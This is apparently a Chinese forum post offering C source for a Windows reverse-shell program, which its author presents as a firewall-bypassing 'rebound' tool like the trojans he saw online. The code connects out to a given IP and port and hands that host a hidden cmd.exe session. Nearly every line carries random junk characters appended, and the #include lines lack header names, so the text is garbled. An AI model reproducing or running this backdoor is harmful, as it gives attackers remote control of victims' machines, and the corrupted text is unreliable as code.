这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %.Y5%TyP
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Rebound port in Windows NT bBIh}aDN
By wind,2006/7 G'|ql5Zw
===============================*/ ^\}MG!l
#include |E+.y&0;
#include ZRMim6a4X
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#pragma comment(lib,"wsock32.lib") FJ_JaIby
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void OutputShell(); w/@ZPBRo]
SOCKET sClient; n#!c!EfG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }s,NM%oI
#]h
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void main(int argc,char **argv) APu$t$dmm
{ -YNpHd/;,
WSADATA stWsaData; FjCGD4x1N
int nRet; 99yWUC,
SOCKADDR_IN stSaiClient,stSaiServer; _E'?U
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if(argc != 3) -A#p22D,5
{ kcS7)"/ zC
printf("Useage:\n\rRebound DestIP DestPort\n"); i1evB9FZ1z
return; $J1`.Q>)4
} rHKO13WF
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WSAStartup(MAKEWORD(2,2),&stWsaData); il^;2`]&
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JrcbJt
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stSaiClient.sin_family = AF_INET; 4,y7a=qf3
stSaiClient.sin_port = htons(0); f*%kHfaXgN
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Fz#@ [1,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OIKx:&uIk
{ T"xJY#)}
printf("Bind Socket Failed!\n"); /r4l7K
return; XFWpHe_ L
} $;5Q
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stSaiServer.sin_family = AF_INET; EE9w^.3a
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `r$7Cc$C
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]i
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) gnJ8tuS
{ a0NiVF-m%
printf("Connect Error!"); jG>W+lq
return; 9#9 UzKX#
} m>=DJ{KQ
OutputShell(); SKC;@?
} DS?.'"n[u
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void OutputShell() !.P||$x`&
{ !E$$FvL
char szBuff[1024]; n])#<0
SECURITY_ATTRIBUTES stSecurityAttributes; Wt/;iq"
OSVERSIONINFO stOsversionInfo; 2E }vuw=c
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z~Q=OPCnY
STARTUPINFO stStartupInfo; aL1%BGlmZ<
char *szShell; -
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PROCESS_INFORMATION stProcessInformation; 1$b@C-B@g
unsigned long lBytesRead; i q`}c
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a``|sn9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JuO47}i] 5
stSecurityAttributes.lpSecurityDescriptor = 0; ~,/@]6S&Y
stSecurityAttributes.bInheritHandle = TRUE; ?tYZ/
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >'4A[$$4mM
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ki><~!L
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZWkRoJXNi
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ko9}?qs
stStartupInfo.wShowWindow = SW_HIDE; "{~5QO
stStartupInfo.hStdInput = hReadPipe; @1CXc"IgA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C*mVM!D);!
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GetVersionEx(&stOsversionInfo); u"h/ERCa
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switch(stOsversionInfo.dwPlatformId) t5{P'v9J
{ @v2<T1UC
case 1: EHUx~Q
szShell = "command.com"; { b$"SIg1E
break; vH+g*A0S<
default: tA#Pc6zBuC
szShell = "cmd.exe"; :|;@FkQ
break; ^}+\ 52w
} >._d2.Q'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n#+EG3
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send(sClient,szMsg,77,0); xFF!)k #
while(1) v@zi?D K
{ BpIyw
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4]r_K2.cc
if(lBytesRead) H9)@q3<
{ PCl5,]B}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~xd?y*gk;
send(sClient,szBuff,lBytesRead,0); 9[/0
} k|-\[Yl .
else 6\8d6x>
{ (fpz",[
lBytesRead=recv(sClient,szBuff,1024,0); D;+/bll7
if(lBytesRead<=0) break; '?C6P5fm
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); T >8P1p@A,
} iTHwH{!
} x)C}
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return; D1rVgM
}